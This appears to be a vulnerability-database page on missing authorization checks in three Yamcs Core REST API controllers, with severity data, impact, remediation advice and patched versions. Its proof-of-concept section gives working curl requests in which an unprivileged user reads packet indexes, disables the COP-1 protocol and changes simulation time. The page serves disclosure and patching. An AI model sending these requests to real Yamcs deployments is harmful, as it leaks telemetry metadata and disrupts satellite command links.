Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
REST API over network (AV:N), any authenticated user sufficient (PR:L), no interaction needed (UI:N); all three CIA pillars impacted by independent code paths (C:H/I:H/A:H).
Primary rating from Vendor (https://github.com/yamcs/yamcs).
CVSS VectorVendor: https://github.com/yamcs/yamcs
Lifecycle Timeline
5Blast Radius
ecosystem impact- 7 maven packages depend on org.yamcs:yamcs-core (7 direct, 0 indirect)
Ecosystem-wide dependent count for version 5.13.0.
DescriptionCVE.org
Summary
Multiple Missing Function Level Access Control vulnerabilities exist in the Yamcs Core API. These vulnerabilities allow any authenticated user, regardless of their assigned roles or privileges (e.g., an unprivileged "Guest"), to bypass intended access controls. An attacker can exploit these flaws to extract sensitive telemetry metadata, disrupt satellite communication link protocols (COP-1), and manipulate the global simulation time, severely impacting the confidentiality, integrity, and availability of the system.
Details
Yamcs utilizes a robust Role-Based Access Control (RBAC) model with SystemPrivilege and ObjectPrivilege to restrict administrative actions and data retrieval. However, three critical API controllers completely omit these authorization checks before executing internal business logic:
IndexesApi.java(Information Disclosure): UnlikePacketsApi.java, which filters results usingctx.user.hasObjectPrivilege(ObjectPrivilegeType.ReadPacket, packetName), methods inIndexesApi(such aslistPacketIndexandlistEventIndex) directly retrieve and return archive records from theCcsdsTmIndexwithout verifying if the user has the required Object Privileges.Cop1Api.java(Denial of Service / Integrity): Modifying the COP-1 telecommand protocol state is an administrative action requiringSystemPrivilege.ControlLinks. However, endpoints inCop1Api(e.g.,disable,resume,initialize,updateConfig) process link state alterations without callingctx.checkSystemPrivilege(...).TimeApi.java(Denial of Service / Integrity): ThesetTimemethod allows modification of the globalSimulationTimeService(affecting all processors, telemetry, and tests in that instance). This endpoint fails to assert any system privileges before applying the requested simulation speed or time jumps.
PoC
Prerequisite: Obtain valid credentials for a completely unprivileged user (e.g., user_without_priv:password with no roles assigned).
PoC 1: Extracting Packet Indexes (IndexesApi)
curl -s -X GET "http://localhost:8090/api/archive/simulator/packet-index" \
-u "user_without_priv:password"*Result:* Returns HTTP 200 OK with a full JSON array of packet indexes, bypassing Object Privilege checks and leaking system metadata.
PoC 2: Disabling COP-1 Protocol (Cop1Api)
curl -s -X POST "http://localhost:8090/api/cop1/simulator/tc_sim:disable" \
-u "user_without_priv:password" \
-H "Content-Type: application/json" -d '{}'*Result:* The server processes the request past the authorization layer. Depending on the link configuration, it will either successfully disable COP-1 or return 400 BadRequestException confirming the link does not support COP-1. The absence of a 403 Forbidden confirms the authorization bypass.
PoC 3: Manipulating Simulation Time (TimeApi)
curl -s -X POST "http://localhost:8090/api/instances/simulator:setTime" \
-u "user_without_priv:password" \
-H "Content-Type: application/json" -d '{"speed": 10.0}'*Result:* The server processes the request past the authorization layer. It changes the global simulation speed if the service is active, or returns 400 BadRequestException: Cannot set time for a non-simulation TimeService. The absence of a 403 Forbidden confirms the authorization bypass.
Impact
The vulnerability impacts instances of Yamcs exposing the REST API.
- Confidentiality: Unprivileged users can enumerate all historical telemetry packet and event metadata.
- Integrity & Availability: Attackers can disable critical satellite telecommand protocols (COP-1) causing command transmission failures. They can also manipulate the global simulation time, disrupting processors, automated tests, and all other users relying on the simulation environment.
PoC Images:
- Check user permission
<img width="1218" height="951" alt="image" src="https://github.com/user-attachments/assets/fa7b1f1b-70fc-4796-805a-70acb84686d3" />
- Check admin permission and access API:
<img width="1768" height="555" alt="image" src="https://github.com/user-attachments/assets/844364f7-5e26-4c15-8809-6512f10ffbab" />
- Check user no permission - get response same with user admin:
<img width="1264" height="885" alt="image" src="https://github.com/user-attachments/assets/8773cef6-f940-48f7-a382-0eb87b8767d4" /> <img width="1243" height="358" alt="image" src="https://github.com/user-attachments/assets/3288f092-7114-48d6-9e5c-9aeaf20d95d4" />
AnalysisAI
Missing function-level access control in Yamcs Core's REST API allows any authenticated user - including completely unprivileged 'Guest' accounts - to bypass the platform's RBAC system across three distinct API controllers. Affected endpoints in IndexesApi, Cop1Api, and TimeApi omit authorization checks entirely, enabling telemetry metadata exfiltration, disruption of COP-1 satellite telecommand protocols, and manipulation of global simulation time. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires a valid Yamcs user account with any level of access - including accounts with zero roles or privileges assigned. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 8.8 score with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H accurately reflects real-world risk: network-reachable, low-complexity exploitation requiring only a valid user account (PR:L) with no other privileges. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Upgrade org.yamcs:yamcs-core to version 5.12.8 (for 5.12.x deployments) or 5.13.2 (for 5.13.x deployments) - both are vendor-confirmed patched releases per the GitHub security advisory at https://github.com/yamcs/yamcs/security/advisories/GHSA-962x-ccwf-8x6p. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: inventory all Yamcs Core deployments, verify REST API exposure, and immediately restrict network access using firewall rules or network segmentation to limit who can reach these endpoints. …
Sign in for detailed remediation steps and compensating controls.
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Same weakness CWE-862 – Missing Authorization
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-67838
GHSA-962x-ccwf-8x6p